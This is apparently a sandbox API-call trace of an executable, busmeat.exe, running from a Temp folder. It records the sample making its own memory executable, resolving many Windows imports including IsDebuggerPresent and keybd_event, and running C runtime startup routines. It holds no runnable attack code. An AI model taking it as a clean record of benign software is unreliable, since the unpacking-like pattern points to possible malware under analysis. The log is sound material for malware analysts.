	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.939] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.943] GetProcAddress (hModule=0x77670000, lpProcName="LoadLibraryA") returned 0x7768d8d0
	[0070.944] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77670000
	[0070.944] GetProcAddress (hModule=0x77670000, lpProcName="VirtualAlloc") returned 0x77688b70
	[0070.944] GetProcAddress (hModule=0x77670000, lpProcName="VirtualProtect") returned 0x77688c50
	[0070.944] GetProcAddress (hModule=0x77670000, lpProcName="VirtualFree") returned 0x77688c70
	[0070.944] GetProcAddress (hModule=0x77670000, lpProcName="GetVersionExA") returned 0x77689fe0
	[0070.944] GetProcAddress (hModule=0x77670000, lpProcName="TerminateProcess") returned 0x7768fbc0
	[0070.944] GetVersionExA (in: lpVersionInformation=0x19e230*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xd00000, dwMinorVersion=0x403030, dwBuildNumber=0x19e2a0, dwPlatformId=0x0, szCSDVersion="é\x94¡vX¤Ð") | out: lpVersionInformation=0x19e230*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0070.944] VirtualAlloc (lpAddress=0x0, dwSize=0x26e00, flAllocationType=0x1000, flProtect=0x4) returned 0xe00000
	[0070.946] VirtualProtect (in: lpAddress=0x400000, dwSize=0x2c000, flNewProtect=0x40, lpflOldProtect=0x19f2bc | out: lpflOldProtect=0x19f2bc*=0x2) returned 1
	[0071.056] VirtualFree (lpAddress=0xe00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0071.056] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77670000
	[0071.056] GetProcAddress (hModule=0x77670000, lpProcName="GetCurrentProcess") returned 0x77682da0
	[0071.057] GetProcAddress (hModule=0x77670000, lpProcName="WaitForSingleObject") returned 0x77696110
	[0071.057] GetProcAddress (hModule=0x77670000, lpProcName="OpenProcess") returned 0x776892b0
	[0071.057] GetProcAddress (hModule=0x77670000, lpProcName="Sleep") returned 0x776877b0
	[0071.057] GetProcAddress (hModule=0x77670000, lpProcName="GetModuleFileNameW") returned 0x77689560
	[0071.057] GetProcAddress (hModule=0x77670000, lpProcName="CreateFileW") returned 0x77696180
	[0071.057] GetProcAddress (hModule=0x77670000, lpProcName="ExitThread") returned 0x77ca2570
	[0071.057] GetProcAddress (hModule=0x77670000, lpProcName="GetLastError") returned 0x77682db0
	[0071.057] GetProcAddress (hModule=0x77670000, lpProcName="GetProcAddress") returned 0x77687940
	[0071.057] GetProcAddress (hModule=0x77670000, lpProcName="ExitProcess") returned 0x776974f0
	[0071.057] GetProcAddress (hModule=0x77670000, lpProcName="GetModuleHandleA") returned 0x77689640
	[0071.058] GetProcAddress (hModule=0x77670000, lpProcName="CloseHandle") returned 0x77695f20
	[0071.058] GetProcAddress (hModule=0x77670000, lpProcName="GetCurrentProcessId") returned 0x77681d90
	[0071.058] GetProcAddress (hModule=0x77670000, lpProcName="GetVersionExW") returned 0x7768a2a0
	[0071.058] GetProcAddress (hModule=0x77670000, lpProcName="LoadLibraryA") returned 0x7768d8d0
	[0071.058] GetProcAddress (hModule=0x77670000, lpProcName="lstrlenW") returned 0x77682d80
	[0071.058] GetProcAddress (hModule=0x77670000, lpProcName="TerminateThread") returned 0x7768fcb0
	[0071.058] GetProcAddress (hModule=0x77670000, lpProcName="CreateThread") returned 0x77689700
	[0071.058] GetProcAddress (hModule=0x77670000, lpProcName="WriteConsoleW") returned 0x77696920
	[0071.058] GetProcAddress (hModule=0x77670000, lpProcName="SetFilePointerEx") returned 0x77696540
	[0071.059] GetProcAddress (hModule=0x77670000, lpProcName="VirtualProtect") returned 0x77688c50
	[0071.059] GetProcAddress (hModule=0x77670000, lpProcName="IsWow64Process") returned 0x776896e0
	[0071.059] GetProcAddress (hModule=0x77670000, lpProcName="SetStdHandle") returned 0x776b26a0
	[0071.059] GetProcAddress (hModule=0x77670000, lpProcName="GetConsoleMode") returned 0x77696870
	[0071.059] GetProcAddress (hModule=0x77670000, lpProcName="GetConsoleCP") returned 0x77696860
	[0071.059] GetProcAddress (hModule=0x77670000, lpProcName="FlushFileBuffers") returned 0x776962a0
	[0071.059] GetProcAddress (hModule=0x77670000, lpProcName="GetCommandLineA") returned 0x7768a3c0
	[0071.059] GetProcAddress (hModule=0x77670000, lpProcName="SetLastError") returned 0x77682af0
	[0071.059] GetProcAddress (hModule=0x77670000, lpProcName="GetCurrentThreadId") returned 0x77681b90
	[0071.059] GetProcAddress (hModule=0x77670000, lpProcName="EncodePointer") returned 0x77c9f190
	[0071.060] GetProcAddress (hModule=0x77670000, lpProcName="DecodePointer") returned 0x77c9a200
	[0071.060] GetProcAddress (hModule=0x77670000, lpProcName="GetModuleHandleExW") returned 0x77689fa0
	[0071.060] GetProcAddress (hModule=0x77670000, lpProcName="MultiByteToWideChar") returned 0x77682d60
	[0071.060] GetProcAddress (hModule=0x77670000, lpProcName="WideCharToMultiByte") returned 0x776875a0
	[0071.060] GetProcAddress (hModule=0x77670000, lpProcName="GetProcessHeap") returned 0x77687910
	[0071.060] GetProcAddress (hModule=0x77670000, lpProcName="GetStdHandle") returned 0x7768a060
	[0071.060] GetProcAddress (hModule=0x77670000, lpProcName="GetFileType") returned 0x77696390
	[0071.060] GetProcAddress (hModule=0x77670000, lpProcName="DeleteCriticalSection") returned 0x77c99920
	[0071.060] GetProcAddress (hModule=0x77670000, lpProcName="GetStartupInfoW") returned 0x7768a080
	[0071.126] GetProcAddress (hModule=0x77670000, lpProcName="GetModuleFileNameA") returned 0x7768a040
	[0071.126] GetProcAddress (hModule=0x77670000, lpProcName="WriteFile") returned 0x77696590
	[0071.126] GetProcAddress (hModule=0x77670000, lpProcName="QueryPerformanceCounter") returned 0x77682dc0
	[0071.126] GetProcAddress (hModule=0x77670000, lpProcName="GetSystemTimeAsFileTime") returned 0x77682b90
	[0071.126] GetProcAddress (hModule=0x77670000, lpProcName="GetEnvironmentStringsW") returned 0x7768a3b0
	[0071.126] GetProcAddress (hModule=0x77670000, lpProcName="FreeEnvironmentStringsW") returned 0x7768a0f0
	[0071.127] GetProcAddress (hModule=0x77670000, lpProcName="IsDebuggerPresent") returned 0x7768a790
	[0071.127] GetProcAddress (hModule=0x77670000, lpProcName="IsProcessorFeaturePresent") returned 0x77689680
	[0071.127] GetProcAddress (hModule=0x77670000, lpProcName="UnhandledExceptionFilter") returned 0x776b28e0
	[0071.127] GetProcAddress (hModule=0x77670000, lpProcName="SetUnhandledExceptionFilter") returned 0x7768a2c0
	[0071.127] GetProcAddress (hModule=0x77670000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x77696020
	[0071.127] GetProcAddress (hModule=0x77670000, lpProcName="TerminateProcess") returned 0x7768fbc0
	[0071.128] GetProcAddress (hModule=0x77670000, lpProcName="TlsAlloc") returned 0x77689a70
	[0071.128] GetProcAddress (hModule=0x77670000, lpProcName="TlsGetValue") returned 0x77681ba0
	[0071.128] GetProcAddress (hModule=0x77670000, lpProcName="TlsSetValue") returned 0x77681da0
	[0071.128] GetProcAddress (hModule=0x77670000, lpProcName="TlsFree") returned 0x77689930
	[0071.128] GetProcAddress (hModule=0x77670000, lpProcName="GetModuleHandleW") returned 0x77689660
	[0071.128] GetProcAddress (hModule=0x77670000, lpProcName="EnterCriticalSection") returned 0x77c85e80
	[0071.128] GetProcAddress (hModule=0x77670000, lpProcName="LeaveCriticalSection") returned 0x77c85e00
	[0071.129] GetProcAddress (hModule=0x77670000, lpProcName="HeapFree") returned 0x776825e0
	[0071.129] GetProcAddress (hModule=0x77670000, lpProcName="IsValidCodePage") returned 0x7768a090
	[0071.129] GetProcAddress (hModule=0x77670000, lpProcName="GetACP") returned 0x77688770
	[0071.129] GetProcAddress (hModule=0x77670000, lpProcName="GetOEMCP") returned 0x7768fd10
	[0071.129] GetProcAddress (hModule=0x77670000, lpProcName="GetCPInfo") returned 0x77689fc0
	[0071.129] GetProcAddress (hModule=0x77670000, lpProcName="LoadLibraryExW") returned 0x77687920
	[0071.129] GetProcAddress (hModule=0x77670000, lpProcName="OutputDebugStringW") returned 0x776b1c30
	[0071.130] GetProcAddress (hModule=0x77670000, lpProcName="HeapAlloc") returned 0x77c7da90
	[0071.130] GetProcAddress (hModule=0x77670000, lpProcName="HeapReAlloc") returned 0x77c7bae0
	[0071.130] GetProcAddress (hModule=0x77670000, lpProcName="GetStringTypeW") returned 0x776879b0
	[0071.130] GetProcAddress (hModule=0x77670000, lpProcName="HeapSize") returned 0x77c94f40
	[0071.130] GetProcAddress (hModule=0x77670000, lpProcName="LCMapStringW") returned 0x77689a40
	[0071.130] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74d70000
	[0071.130] GetProcAddress (hModule=0x74d70000, lpProcName="SetFocus") returned 0x74da5240
	[0071.131] GetProcAddress (hModule=0x74d70000, lpProcName="SendMessageW") returned 0x74d838f0
	[0071.131] GetProcAddress (hModule=0x74d70000, lpProcName="CharUpperBuffW") returned 0x74da3140
	[0071.131] GetProcAddress (hModule=0x74d70000, lpProcName="GetForegroundWindow") returned 0x74da50f0
	[0071.131] GetProcAddress (hModule=0x74d70000, lpProcName="GetSystemMetrics") returned 0x74d855d0
	[0071.131] GetProcAddress (hModule=0x74d70000, lpProcName="GetMessageW") returned 0x74da3230
	[0071.131] GetProcAddress (hModule=0x74d70000, lpProcName="TranslateMessage") returned 0x74d8b9d0
	[0071.131] GetProcAddress (hModule=0x74d70000, lpProcName="DispatchMessageW") returned 0x74d83e40
	[0071.132] GetProcAddress (hModule=0x74d70000, lpProcName="SetForegroundWindow") returned 0x74d8df70
	[0071.132] GetProcAddress (hModule=0x74d70000, lpProcName="DefWindowProcW") returned 0x77cbcaa0
	[0071.132] GetProcAddress (hModule=0x74d70000, lpProcName="RegisterClassExW") returned 0x74d88ee0
	[0071.132] GetProcAddress (hModule=0x74d70000, lpProcName="CreateWindowExW") returned 0x74d891c0
	[0071.132] GetProcAddress (hModule=0x74d70000, lpProcName="DestroyWindow") returned 0x74da56f0
	[0071.132] GetProcAddress (hModule=0x74d70000, lpProcName="ShowWindow") returned 0x74da52a0
	[0071.132] GetProcAddress (hModule=0x74d70000, lpProcName="keybd_event") returned 0x74defcf0
	[0071.133] GetProcAddress (hModule=0x74d70000, lpProcName="UpdateWindow") returned 0x74d97020
	[0071.133] GetProcAddress (hModule=0x74d70000, lpProcName="SetWindowTextW") returned 0x74d94580
	[0071.133] GetProcAddress (hModule=0x74d70000, lpProcName="GetWindowLongW") returned 0x74d84e80
	[0071.133] GetProcAddress (hModule=0x74d70000, lpProcName="SetWindowLongW") returned 0x74d81830
	[0071.133] GetProcAddress (hModule=0x74d70000, lpProcName="SystemParametersInfoW") returned 0x74d8bea0
	[0071.133] GetProcAddress (hModule=0x74d70000, lpProcName="GetAncestor") returned 0x74da5840
	[0071.133] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77c40000
	[0071.134] GetProcAddress (hModule=0x77c40000, lpProcName="RtlUnwind") returned 0x77c9aca0
	[0071.134] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74a50000
	[0071.519] GetProcAddress (hModule=0x74a50000, lpProcName="atexit") returned 0x74a6c544
	[0071.519] atexit (param_1=0xd196cf) returned 0
	[0071.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f2c8 | out: lpSystemTimeAsFileTime=0x19f2c8*(dwLowDateTime=0x40c8824, dwHighDateTime=0x1d3e5ec)) 
	[0071.519] GetCurrentThreadId () returned 0xefc
	[0071.519] GetCurrentProcessId () returned 0xef8
	[0071.519] QueryPerformanceCounter (in: lpPerformanceCount=0x19f2c0 | out: lpPerformanceCount=0x19f2c0*=524678857) returned 1
	[0071.519] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77670000
	[0071.519] GetProcAddress (hModule=0x77670000, lpProcName="FlsAlloc") returned 0x7768a330
	[0071.519] GetProcAddress (hModule=0x77670000, lpProcName="FlsFree") returned 0x7768f400
	[0071.520] GetProcAddress (hModule=0x77670000, lpProcName="FlsGetValue") returned 0x77687580
	[0071.520] GetProcAddress (hModule=0x77670000, lpProcName="FlsSetValue") returned 0x77689910
	[0071.520] GetProcAddress (hModule=0x77670000, lpProcName="InitializeCriticalSectionEx") returned 0x77696030
	[0071.520] GetProcAddress (hModule=0x77670000, lpProcName="CreateEventExW") returned 0x77695f90
	[0071.520] GetProcAddress (hModule=0x77670000, lpProcName="CreateSemaphoreExW") returned 0x77695ff0
	[0071.520] GetProcAddress (hModule=0x77670000, lpProcName="SetThreadStackGuarantee") returned 0x7768a5d0
	[0071.520] GetProcAddress (hModule=0x77670000, lpProcName="CreateThreadpoolTimer") returned 0x7768a690
	[0071.520] GetProcAddress (hModule=0x77670000, lpProcName="SetThreadpoolTimer") returned 0x77c740f0
	[0071.520] GetProcAddress (hModule=0x77670000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77c6d630
	[0071.520] GetProcAddress (hModule=0x77670000, lpProcName="CloseThreadpoolTimer") returned 0x77c6ecf0
	[0071.521] GetProcAddress (hModule=0x77670000, lpProcName="CreateThreadpoolWait") returned 0x77695720
	[0071.521] GetProcAddress (hModule=0x77670000, lpProcName="SetThreadpoolWait") returned 0x77c6e140
	[0071.521] GetProcAddress (hModule=0x77670000, lpProcName="CloseThreadpoolWait") returned 0x77c6eb60
	[0071.521] GetProcAddress (hModule=0x77670000, lpProcName="FlushProcessWriteBuffers") returned 0x77ca9990
	[0071.521] GetProcAddress (hModule=0x77670000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77ca5540
	[0071.521] GetProcAddress (hModule=0x77670000, lpProcName="GetCurrentProcessorNumber") returned 0x77c99dc0
	[0071.521] GetProcAddress (hModule=0x77670000, lpProcName="GetLogicalProcessorInformation") returned 0x7768a550
	[0071.521] GetProcAddress (hModule=0x77670000, lpProcName="CreateSymbolicLinkW") returned 0x776b0a40
	[0071.521] GetProcAddress (hModule=0x77670000, lpProcName="SetDefaultDllDirectories") returned 0x76aa0790
	[0071.522] GetProcAddress (hModule=0x77670000, lpProcName="EnumSystemLocalesEx") returned 0x7768f8a0
	[0071.522] GetProcAddress (hModule=0x77670000, lpProcName="CompareStringEx") returned 0x7768fa30
	[0071.522] GetProcAddress (hModule=0x77670000, lpProcName="GetDateFormatEx") returned 0x776b1030
	[0071.522] GetProcAddress (hModule=0x77670000, lpProcName="GetLocaleInfoEx") returned 0x7768a000
	[0071.522] GetProcAddress (hModule=0x77670000, lpProcName="GetTimeFormatEx") returned 0x776b14b0
	[0071.522] GetProcAddress (hModule=0x77670000, lpProcName="GetUserDefaultLocaleName") returned 0x7768a4f0
	[0071.522] GetProcAddress (hModule=0x77670000, lpProcName="IsValidLocaleName") returned 0x776b16f0
	[0071.522] GetProcAddress (hModule=0x77670000, lpProcName="LCMapStringEx") returned 0x77689970
	[0071.522] GetProcAddress (hModule=0x77670000, lpProcName="GetCurrentPackageId") returned 0x76a23c90
	[0071.522] GetProcAddress (hModule=0x77670000, lpProcName="GetTickCount64") returned 0x77688710
	[0071.523] GetProcAddress (hModule=0x77670000, lpProcName="GetFileInformationByHandleExW") returned 0x0
	[0071.523] GetProcAddress (hModule=0x77670000, lpProcName="SetFileInformationByHandleW") returned 0x0
	[0071.523] GetCurrentThreadId () returned 0xefc
	[0071.523] GetStartupInfoW (in: lpStartupInfo=0x19f228 | out: lpStartupInfo=0x19f228*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x401c93, hStdOutput=0x1a9a9b59, hStdError=0x403030)) 
	[0071.523] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0071.523] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0071.523] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0071.523] GetCommandLineA () returned="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe"
	[0071.523] GetEnvironmentStringsW () returned 0xd0e7f8*
	[0071.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Windows\\System32", cchWideChar=1456, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1456
	[0071.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Windows\\System32", cchWideChar=1456, lpMultiByteStr=0xd41d50, cbMultiByte=1456, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Windows\\System32", lpUsedDefaultChar=0x0) returned 1456
	[0071.524] FreeEnvironmentStringsW (penv=0xd0e7f8) returned 1
	[0071.524] GetLastError () returned 0x7f
	[0071.524] SetLastError (dwErrCode=0x7f) 
	[0071.524] GetLastError () returned 0x7f
	[0071.524] SetLastError (dwErrCode=0x7f) 
	[0071.524] GetLastError () returned 0x7f
	[0071.524] SetLastError (dwErrCode=0x7f) 
	[0071.524] GetACP () returned 0x4e4
	[0071.524] GetLastError () returned 0x7f
	[0071.524] SetLastError (dwErrCode=0x7f) 
	[0071.524] IsValidCodePage (CodePage=0x4e4) returned 1
	[0071.524] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f22c | out: lpCPInfo=0x19f22c) returned 1
	[0071.524] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19ecf4 | out: lpCPInfo=0x19ecf4) returned 1
	[0071.524] GetLastError () returned 0x7f
	[0071.524] SetLastError (dwErrCode=0x7f) 
	[0071.524] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f108, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0071.524] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f108, cbMultiByte=256, lpWideCharStr=0x19ea78, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0071.525] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x19ed08 | out: lpCharType=0x19ed08) returned 1
	[0071.526] GetLastError () returned 0x7f
	[0071.526] SetLastError (dwErrCode=0x7f) 
	[0071.526] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f108, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0071.526] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f108, cbMultiByte=256, lpWideCharStr=0x19ea48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0071.526] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0071.526] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19e838, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256
	[0071.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x19f008, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÙ\x9b\x9a\x1aDò\x19", lpUsedDefaultChar=0x0) returned 256
	[0071.526] GetLastError () returned 0x7f
	[0071.526] SetLastError (dwErrCode=0x7f) 
	[0071.526] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f108, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0071.526] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f108, cbMultiByte=256, lpWideCharStr=0x19ea58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
